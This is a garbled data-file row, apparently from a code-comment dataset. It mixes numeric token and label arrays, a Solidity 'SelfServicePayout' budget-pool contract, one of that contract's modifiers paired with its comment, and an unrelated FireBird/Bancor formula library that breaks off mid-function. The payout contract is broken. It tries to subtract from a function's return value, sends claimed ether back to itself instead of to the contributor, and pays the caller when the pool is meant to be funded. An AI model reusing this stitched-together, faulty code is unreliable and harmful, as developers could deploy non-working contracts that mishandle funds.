-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./BudgetPool.sol";
import "./PoolContributor.sol";
/**
* @title SelfServicePayout
* @author Sharon Sheah
*/
// This contract is responsible for creating BudgetPool and Contributor contracts.
contract SelfServicePayout {
// State variables
BudgetPool[] public budgetPools;
PoolContributor[] public poolContributors;
// Mappings
mapping(address => bool) public isContributor;
mapping(address => mapping(address => bool)) budgetPoolHasContributor;
// Events
// event NewBudgetPool(address _by, uint256 _id);
// Deploys an instance of BudgetPool contract
function createBudgetPool() public {
BudgetPool budgetPool = new BudgetPool();
budgetPools.push(budgetPool);
}
// Deploys an instance of Contributor contract
function createPoolContributor() public {
PoolContributor poolContributor = new PoolContributor();
poolContributors.push(poolContributor);
}
// Creates a Contributor and adds to Pool
function createContributorForPool(
uint256 _budgetPoolIndex,
uint256 _poolContributorIndex,
address _contributor,
uint256 _payoutPerMonth
) public {
address budgetPool = getBudgetPool(_budgetPoolIndex);
PoolContributor poolContributor = PoolContributor(
getPoolContributor(_poolContributorIndex)
);
// Create new contributor, add pool on PoolContributor
poolContributor.addContributor(
_contributor,
_payoutPerMonth,
budgetPool
);
isContributor[_contributor] = true;
}
function claimPayout(
uint256 _budgetPoolIndex,
uint256 _poolContributorIndex,
address _contributor
) public onlyBudgetPoolContributor(_budgetPoolIndex) {
// get PoolContributor to make contract function calls
PoolContributor poolContributor = PoolContributor(
getPoolContributor(_poolContributorIndex)
);
// get contributor's payoutPerMonth
uint256 contributorPayoutAmount = poolContributor
.getContributorPayoutPerMonth(_contributor);
address budgetPool = getBudgetPool(_budgetPoolIndex);
// check BudgetPool amount is greater than contributor payoutPerMonth
require(
budgetPool.balance > contributorPayoutAmount,
"BudgetPool balance is lesser than payout amount"
);
BudgetPool budgetPoolContract = BudgetPool(budgetPool);
// BudgetPool amount - contributor payoutPerMonth
budgetPoolContract.getContractBalance() -= contributorPayoutAmount;
(bool success, ) = address(this).call{value: contributorPayoutAmount}(
""
);
require(success, "Transfer failed.");
}
function fundBudgetPool(uint256 _budgetPoolIndex)
public
onlyBudgetPoolOwner(_budgetPoolIndex)
{
// get BudgetPool contract to make contract function calls
BudgetPool budgetPool = BudgetPool(getBudgetPool(_budgetPoolIndex));
// msg.sender transfers eth get BudgetPool amount to budgetpool
(bool success, ) = msg.sender.call{value: budgetPool.getPoolAmount()}(
""
);
require(success, "Transfer failed.");
}
// View functions
// Finds BudgetPool contract address by index
function getBudgetPool(uint256 _budgetPoolIndex)
public
view
returns (address)
{
return address(budgetPools[_budgetPoolIndex]);
}
// Find PoolContributor contract by index
function getPoolContributor(uint256 _poolContributorIndex)
public
view
returns (address)
{
return address(poolContributors[_poolContributorIndex]);
}
// Modifiers
// Checks if msg.sender is owner of budget pool
modifier onlyBudgetPoolOwner(uint256 _budgetPoolIndex) {
BudgetPool budgetPool = BudgetPool(getBudgetPool(_budgetPoolIndex));
require(budgetPool.owner == msg.sender);
_;
}
// Checks if contributor is part of expected pool
modifier onlyBudgetPoolContributor(uint256 _budgetPoolIndex) {
address budgetPoolAddress = getBudgetPool(_budgetPoolIndex);
require(budgetPoolHasContributor[budgetPoolAddress][msg.sender]);
_;
}
}
// Tests
// any address can create a budget pool
// only pool owner can deposit funds into a budget pool
// only pool owner can create contributor
| Checks if contributor is part of expected pool | modifier onlyBudgetPoolContributor(uint256 _budgetPoolIndex) {
address budgetPoolAddress = getBudgetPool(_budgetPoolIndex);
require(budgetPoolHasContributor[budgetPoolAddress][msg.sender]);
_;
}
| 12,688,953 | [
1,
4081,
309,
31123,
353,
1087,
434,
2665,
2845,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
1338,
16124,
2864,
442,
19293,
12,
11890,
5034,
389,
70,
8562,
2864,
1016,
13,
288,
203,
3639,
1758,
15051,
2864,
1887,
273,
2882,
8562,
2864,
24899,
70,
8562,
2864,
1016,
1769,
203,
3639,
2583,
12,
70,
8562,
2864,
5582,
442,
19293,
63,
70,
8562,
2864,
1887,
6362,
3576,
18,
15330,
19226,
203,
3639,
389,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts/interfaces/IFireBirdFormula.sol
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity >=0.5.16;
/*
Bancor Formula interface
*/
interface IFireBirdFormula {
function getFactoryReserveAndWeights(address factory, address pair, address tokenA, uint8 dexId) external view returns (
address tokenB,
uint reserveA,
uint reserveB,
uint32 tokenWeightA,
uint32 tokenWeightB,
uint32 swapFee
);
function getFactoryWeightsAndSwapFee(address factory, address pair, uint8 dexId) external view returns (uint32 tokenWeight0, uint32 tokenWeight1, uint32 swapFee);
function getAmountIn(
uint amountOut,
uint reserveIn, uint reserveOut,
uint32 tokenWeightIn, uint32 tokenWeightOut,
uint32 swapFee
) external view returns (uint amountIn);
function getAmountOut(
uint amountIn,
uint reserveIn, uint reserveOut,
uint32 tokenWeightIn, uint32 tokenWeightOut,
uint32 swapFee
) external view returns (uint amountOut);
function getFactoryAmountsIn(
address factory,
address tokenIn,
address tokenOut,
uint amountOut,
address[] calldata path,
uint8[] calldata dexIds
) external view returns (uint[] memory amounts);
function getFactoryAmountsOut(
address factory,
address tokenIn,
address tokenOut,
uint amountIn,
address[] calldata path,
uint8[] calldata dexIds
) external view returns (uint[] memory amounts);
function ensureConstantValue(uint reserve0, uint reserve1, uint balance0Adjusted, uint balance1Adjusted, uint32 tokenWeight0) external view returns (bool);
function getReserves(address pair, address tokenA, address tokenB) external view returns (uint reserveA, uint reserveB);
function getOtherToken(address pair, address tokenA) external view returns (address tokenB);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function sortTokens(address tokenA, address tokenB) external pure returns (address token0, address token1);
function mintLiquidityFee(
uint totalLiquidity,
uint112 reserve0,
uint112 reserve1,
uint32 tokenWeight0,
uint32 tokenWeight1,
uint112 collectedFee0,
uint112 collectedFee1) external view returns (uint amount);
}
// File: contracts/interfaces/IFireBirdPair.sol
pragma solidity >=0.5.16;
interface IFireBirdPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event PaidProtocolFee(uint112 collectedFee0, uint112 collectedFee1);
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function getCollectedFees() external view returns (uint112 _collectedFee0, uint112 _collectedFee1);
function getTokenWeights() external view returns (uint32 tokenWeight0, uint32 tokenWeight1);
function getSwapFee() external view returns (uint32);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address, uint32, uint32) external;
}
// File: contracts/interfaces/IFireBirdFactory.sol
pragma solidity >=0.5.16;
interface IFireBirdFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint32 tokenWeight0, uint32 swapFee, uint);
function feeTo() external view returns (address);
function formula() external view returns (address);
function protocolFee() external view returns (uint);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB, uint32 tokenWeightA, uint32 swapFee) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function isPair(address) external view returns (bool);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB, uint32 tokenWeightA, uint32 swapFee) external returns (address pair);
function getWeightsAndSwapFee(address pair) external view returns (uint32 tokenWeight0, uint32 tokenWeight1, uint32 swapFee);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setProtocolFee(uint) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity >=0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0, 'ds-math-division-by-zero');
c = a / b;
}
}
// File: contracts/dependency/FireBirdFormula.sol
pragma solidity >=0.7.6;
contract FireBirdFormula is IFireBirdFormula {
using SafeMath for uint256;
address public dexConfigor;
mapping(uint8 => uint32) public dexSwapFee; //dex0: firebird
mapping(uint8 => bool) public dexSupported;
uint256 private constant ONE = 1;
uint8 private constant MIN_PRECISION = 32;
uint8 private constant MAX_PRECISION = 127;
uint256 private constant FIXED_1 = 0x080000000000000000000000000000000;
uint256 private constant FIXED_2 = 0x100000000000000000000000000000000;
uint256 private constant MAX_NUM = 0x200000000000000000000000000000000;
uint256 private constant LN2_NUMERATOR = 0x3f80fe03f80fe03f80fe03f80fe03f8;
uint256 private constant LN2_DENOMINATOR = 0x5b9de1d10bf4103d647b0955897ba80;
uint256 private constant OPT_LOG_MAX_VAL = 0x15bf0a8b1457695355fb8ac404e7a79e3;
uint256 private constant OPT_EXP_MAX_VAL = 0x800000000000000000000000000000000;
uint256 private constant LAMBERT_CONV_RADIUS = 0x002f16ac6c59de6f8d5d6f63c1482a7c86;
uint256 private constant LAMBERT_POS2_SAMPLE = 0x0003060c183060c183060c183060c18306;
uint256 private constant LAMBERT_POS2_MAXVAL = 0x01af16ac6c59de6f8d5d6f63c1482a7c80;
uint256 private constant LAMBERT_POS3_MAXVAL = 0x6b22d43e72c326539cceeef8bb48f255ff;
uint256 private constant MAX_UNF_WEIGHT = 0x10c6f7a0b5ed8d36b4c7f34938583621fafc8b0079a2834d26fa3fcc9ea9;
uint256[128] private maxExpArray;
event LogDexSwapFee(uint8 dexId, uint32 swapFee, bool isSupported);
function initMaxExpArray() internal {
maxExpArray[32] = 0x1c35fedd14ffffffffffffffffffffffff;
maxExpArray[33] = 0x1b0ce43b323fffffffffffffffffffffff;
maxExpArray[34] = 0x19f0028ec1ffffffffffffffffffffffff;
maxExpArray[35] = 0x18ded91f0e7fffffffffffffffffffffff;
maxExpArray[36] = 0x17d8ec7f0417ffffffffffffffffffffff;
maxExpArray[37] = 0x16ddc6556cdbffffffffffffffffffffff;
maxExpArray[38] = 0x15ecf52776a1ffffffffffffffffffffff;
maxExpArray[39] = 0x15060c256cb2ffffffffffffffffffffff;
maxExpArray[40] = 0x1428a2f98d72ffffffffffffffffffffff;
maxExpArray[41] = 0x13545598e5c23fffffffffffffffffffff;
maxExpArray[42] = 0x1288c4161ce1dfffffffffffffffffffff;
maxExpArray[43] = 0x11c592761c666fffffffffffffffffffff;
maxExpArray[44] = 0x110a688680a757ffffffffffffffffffff;
maxExpArray[45] = 0x1056f1b5bedf77ffffffffffffffffffff;
maxExpArray[46] = 0x0faadceceeff8bffffffffffffffffffff;
maxExpArray[47] = 0x0f05dc6b27edadffffffffffffffffffff;
maxExpArray[48] = 0x0e67a5a25da4107fffffffffffffffffff;
maxExpArray[49] = 0x0dcff115b14eedffffffffffffffffffff;
maxExpArray[50] = 0x0d3e7a392431239fffffffffffffffffff;
maxExpArray[51] = 0x0cb2ff529eb71e4fffffffffffffffffff;
maxExpArray[52] = 0x0c2d415c3db974afffffffffffffffffff;
maxExpArray[53] = 0x0bad03e7d883f69bffffffffffffffffff;
maxExpArray[54] = 0x0b320d03b2c343d5ffffffffffffffffff;
maxExpArray[55] = 0x0abc25204e02828dffffffffffffffffff;
maxExpArray[56] = 0x0a4b16f74ee4bb207fffffffffffffffff;
maxExpArray[57] = 0x09deaf736ac1f569ffffffffffffffffff;
maxExpArray[58] = 0x0976bd9952c7aa957fffffffffffffffff;
maxExpArray[59] = 0x09131271922eaa606fffffffffffffffff;
maxExpArray[60] = 0x08b380f3558668c46fffffffffffffffff;
maxExpArray[61] = 0x0857ddf0117efa215bffffffffffffffff;
maxExpArray[62] = 0x07ffffffffffffffffffffffffffffffff;
maxExpArray[63] = 0x07abbf6f6abb9d087fffffffffffffffff;
maxExpArray[64] = 0x075af62cbac95f7dfa7fffffffffffffff;
maxExpArray[65] = 0x070d7fb7452e187ac13fffffffffffffff;
maxExpArray[66] = 0x06c3390ecc8af379295fffffffffffffff;
maxExpArray[67] = 0x067c00a3b07ffc01fd6fffffffffffffff;
maxExpArray[68] = 0x0637b647c39cbb9d3d27ffffffffffffff;
maxExpArray[69] = 0x05f63b1fc104dbd39587ffffffffffffff;
maxExpArray[70] = 0x05b771955b36e12f7235ffffffffffffff;
maxExpArray[71] = 0x057b3d49dda84556d6f6ffffffffffffff;
maxExpArray[72] = 0x054183095b2c8ececf30ffffffffffffff;
maxExpArray[73] = 0x050a28be635ca2b888f77fffffffffffff;
maxExpArray[74] = 0x04d5156639708c9db33c3fffffffffffff;
maxExpArray[75] = 0x04a23105873875bd52dfdfffffffffffff;
maxExpArray[76] = 0x0471649d87199aa990756fffffffffffff;
maxExpArray[77] = 0x04429a21a029d4c1457cfbffffffffffff;
maxExpArray[78] = 0x0415bc6d6fb7dd71af2cb3ffffffffffff;
maxExpArray[79] = 0x03eab73b3bbfe282243ce1ffffffffffff;
maxExpArray[80] = 0x03c1771ac9fb6b4c18e229ffffffffffff;
maxExpArray[81] = 0x0399e96897690418f785257fffffffffff;
maxExpArray[82] = 0x0373fc456c53bb779bf0ea9fffffffffff;
maxExpArray[83] = 0x034f9e8e490c48e67e6ab8bfffffffffff;
maxExpArray[84] = 0x032cbfd4a7adc790560b3337ffffffffff;
maxExpArray[85] = 0x030b50570f6e5d2acca94613ffffffffff;
maxExpArray[86] = 0x02eb40f9f620fda6b56c2861ffffffffff;
maxExpArray[87] = 0x02cc8340ecb0d0f520a6af58ffffffffff;
maxExpArray[88] = 0x02af09481380a0a35cf1ba02ffffffffff;
maxExpArray[89] = 0x0292c5bdd3b92ec810287b1b3fffffffff;
maxExpArray[90] = 0x0277abdcdab07d5a77ac6d6b9fffffffff;
maxExpArray[91] = 0x025daf6654b1eaa55fd64df5efffffffff;
maxExpArray[92] = 0x0244c49c648baa98192dce88b7ffffffff;
maxExpArray[93] = 0x022ce03cd5619a311b2471268bffffffff;
maxExpArray[94] = 0x0215f77c045fbe885654a44a0fffffffff;
maxExpArray[95] = 0x01ffffffffffffffffffffffffffffffff;
maxExpArray[96] = 0x01eaefdbdaaee7421fc4d3ede5ffffffff;
maxExpArray[97] = 0x01d6bd8b2eb257df7e8ca57b09bfffffff;
maxExpArray[98] = 0x01c35fedd14b861eb0443f7f133fffffff;
maxExpArray[99] = 0x01b0ce43b322bcde4a56e8ada5afffffff;
maxExpArray[100] = 0x019f0028ec1fff007f5a195a39dfffffff;
maxExpArray[101] = 0x018ded91f0e72ee74f49b15ba527ffffff;
maxExpArray[102] = 0x017d8ec7f04136f4e5615fd41a63ffffff;
maxExpArray[103] = 0x016ddc6556cdb84bdc8d12d22e6fffffff;
maxExpArray[104] = 0x015ecf52776a1155b5bd8395814f7fffff;
maxExpArray[105] = 0x015060c256cb23b3b3cc3754cf40ffffff;
maxExpArray[106] = 0x01428a2f98d728ae223ddab715be3fffff;
maxExpArray[107] = 0x013545598e5c23276ccf0ede68034fffff;
maxExpArray[108] = 0x01288c4161ce1d6f54b7f61081194fffff;
maxExpArray[109] = 0x011c592761c666aa641d5a01a40f17ffff;
maxExpArray[110] = 0x0110a688680a7530515f3e6e6cfdcdffff;
maxExpArray[111] = 0x01056f1b5bedf75c6bcb2ce8aed428ffff;
maxExpArray[112] = 0x00faadceceeff8a0890f3875f008277fff;
maxExpArray[113] = 0x00f05dc6b27edad306388a600f6ba0bfff;
maxExpArray[114] = 0x00e67a5a25da41063de1495d5b18cdbfff;
maxExpArray[115] = 0x00dcff115b14eedde6fc3aa5353f2e4fff;
maxExpArray[116] = 0x00d3e7a3924312399f9aae2e0f868f8fff;
maxExpArray[117] = 0x00cb2ff529eb71e41582cccd5a1ee26fff;
maxExpArray[118] = 0x00c2d415c3db974ab32a51840c0b67edff;
maxExpArray[119] = 0x00bad03e7d883f69ad5b0a186184e06bff;
maxExpArray[120] = 0x00b320d03b2c343d4829abd6075f0cc5ff;
maxExpArray[121] = 0x00abc25204e02828d73c6e80bcdb1a95bf;
maxExpArray[122] = 0x00a4b16f74ee4bb2040a1ec6c15fbbf2df;
maxExpArray[123] = 0x009deaf736ac1f569deb1b5ae3f36c130f;
maxExpArray[124] = 0x00976bd9952c7aa957f5937d790ef65037;
maxExpArray[125] = 0x009131271922eaa6064b73a22d0bd4f2bf;
maxExpArray[126] = 0x008b380f3558668c46c91c49a2f8e967b9;
maxExpArray[127] = 0x00857ddf0117efa215952912839f6473e6;
}
modifier onlyDexConfigor() {
require(msg.sender == dexConfigor, "FBF: !dex configor");
_;
}
constructor (address _dexConfigor) public {
dexConfigor = _dexConfigor;
dexSupported[uint8(0)] = true;
_setDexSwapFee(1, 30);
_setDexSwapFee(2, 25);
_setDexSwapFee(3, 20);
_setDexSwapFee(4, 15);
_setDexSwapFee(5, 10);
_setDexSwapFee(6, 5);
initMaxExpArray();
}
/**
* @dev General Description:
* Determine a value of precision.
* Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision.
* Return the result along with the precision used.
*
* Detailed Description:
* Instead of calculating "base ^ exp", we calculate "e ^ (log(base) * exp)".
* The value of "log(base)" is represented with an integer slightly smaller than "log(base) * 2 ^ precision".
* The larger "precision" is, the more accurately this value represents the real value.
* However, the larger "precision" is, the more bits are required in order to store this value.
* And the exponentiation function, which takes "x" and calculates "e ^ x", is limited to a maximum exponent (maximum value of "x").
* This maximum exponent depends on the "precision" used, and it is given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
* Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function.
* This allows us to compute "base ^ exp" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations.
* This functions assumes that "_expN < 2 ^ 256 / log(MAX_NUM - 1)", otherwise the multiplication should be replaced with a "safeMul".
* Since we rely on unsigned-integer arithmetic and "base < 1" ==> "log(base) < 0", this function does not support "_baseN < _baseD".
*/
function power(
uint256 _baseN,
uint256 _baseD,
uint32 _expN,
uint32 _expD
) internal view returns (uint256, uint8) {
require(_baseN >= _baseD, "not support _baseN < _baseD");
require(_baseN < MAX_NUM);
uint256 baseLog;
uint256 base = (_baseN * FIXED_1) / _baseD;
if (base < OPT_LOG_MAX_VAL) {
baseLog = optimalLog(base);
} else {
baseLog = generalLog(base);
}
uint256 baseLogTimesExp = (baseLog * _expN) / _expD;
if (baseLogTimesExp < OPT_EXP_MAX_VAL) {
return (optimalExp(baseLogTimesExp), MAX_PRECISION);
} else {
uint8 precision = findPositionInMaxExpArray(baseLogTimesExp);
return (generalExp(baseLogTimesExp >> (MAX_PRECISION - precision), precision), precision);
}
}
/**
* @dev computes log(x / FIXED_1) * FIXED_1.
* This functions assumes that "x >= FIXED_1", because the output would be negative otherwise.
*/
function generalLog(uint256 x) internal pure returns (uint256) {
require(x >= FIXED_1, "not support x < FIXED_1");
uint256 res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count;
// now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = MAX_PRECISION; i > 0; --i) {
x = (x * x) / FIXED_1;
// now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1;
// now 1 < x < 2
res += ONE << (i - 1);
}
}
}
return (res * LN2_NUMERATOR) / LN2_DENOMINATOR;
}
/**
* @dev computes the largest integer smaller than or equal to the binary logarithm of the input.
*/
function floorLog2(uint256 _n) internal pure returns (uint8) {
uint8 res = 0;
if (_n < 256) {
// At most 8 iterations
while (_n > 1) {
_n >>= 1;
res += 1;
}
} else {
// Exactly 8 iterations
for (uint8 s = 128; s > 0; s >>= 1) {
if (_n >= (ONE << s)) {
_n >>= s;
res |= s;
}
}
}
return res;
}
/**
* @dev the global "maxExpArray" is sorted in descending order, and therefore the following statements are equivalent:
* - This function finds the position of [the smallest value in "maxExpArray" larger than or equal to "x"]
* - This function finds the highest position of [a value in "maxExpArray" larger than or equal to "x"]
*/
function findPositionInMaxExpArray(uint256 _x) internal view returns (uint8) {
uint8 lo = MIN_PRECISION;
uint8 hi = MAX_PRECISION;
while (lo + 1 < hi) {
uint8 mid = (lo + hi) / 2;
if (maxExpArray[mid] >= _x) lo = mid;
else hi = mid;
}
if (maxExpArray[hi] >= _x) return hi;
if (maxExpArray[lo] >= _x) return lo;
require(false);
}
/**
* @dev this function can be auto-generated by the script 'PrintFunctionGeneralExp.py'.
* it approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!".
* it returns "e ^ (x / 2 ^ precision) * 2 ^ precision", that is, the result is upshifted for accuracy.
* the global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1".
* the maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)".
*/
function generalExp(uint256 _x, uint8 _precision) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) >> _precision;
res += xi * 0x3442c4e6074a82f1797f72ac0000000;
// add x^02 * (33! / 02!)
xi = (xi * _x) >> _precision;
res += xi * 0x116b96f757c380fb287fd0e40000000;
// add x^03 * (33! / 03!)
xi = (xi * _x) >> _precision;
res += xi * 0x045ae5bdd5f0e03eca1ff4390000000;
// add x^04 * (33! / 04!)
xi = (xi * _x) >> _precision;
res += xi * 0x00defabf91302cd95b9ffda50000000;
// add x^05 * (33! / 05!)
xi = (xi * _x) >> _precision;
res += xi * 0x002529ca9832b22439efff9b8000000;
// add x^06 * (33! / 06!)
xi = (xi * _x) >> _precision;
res += xi * 0x00054f1cf12bd04e516b6da88000000;
// add x^07 * (33! / 07!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000a9e39e257a09ca2d6db51000000;
// add x^08 * (33! / 08!)
xi = (xi * _x) >> _precision;
res += xi * 0x000012e066e7b839fa050c309000000;
// add x^09 * (33! / 09!)
xi = (xi * _x) >> _precision;
res += xi * 0x000001e33d7d926c329a1ad1a800000;
// add x^10 * (33! / 10!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000002bee513bdb4a6b19b5f800000;
// add x^11 * (33! / 11!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000003a9316fa79b88eccf2a00000;
// add x^12 * (33! / 12!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000048177ebe1fa812375200000;
// add x^13 * (33! / 13!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000005263fe90242dcbacf00000;
// add x^14 * (33! / 14!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000057e22099c030d94100000;
// add x^15 * (33! / 15!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000057e22099c030d9410000;
// add x^16 * (33! / 16!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000052b6b54569976310000;
// add x^17 * (33! / 17!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000004985f67696bf748000;
// add x^18 * (33! / 18!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000003dea12ea99e498000;
// add x^19 * (33! / 19!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000031880f2214b6e000;
// add x^20 * (33! / 20!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000025bcff56eb36000;
// add x^21 * (33! / 21!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000001b722e10ab1000;
// add x^22 * (33! / 22!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000001317c70077000;
// add x^23 * (33! / 23!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000cba84aafa00;
// add x^24 * (33! / 24!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000082573a0a00;
// add x^25 * (33! / 25!)
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000005035ad900;
// add x^26 * (33! / 26!)
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000000000002f881b00;
// add x^27 * (33! / 27!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000001b29340;
// add x^28 * (33! / 28!)
xi = (xi * _x) >> _precision;
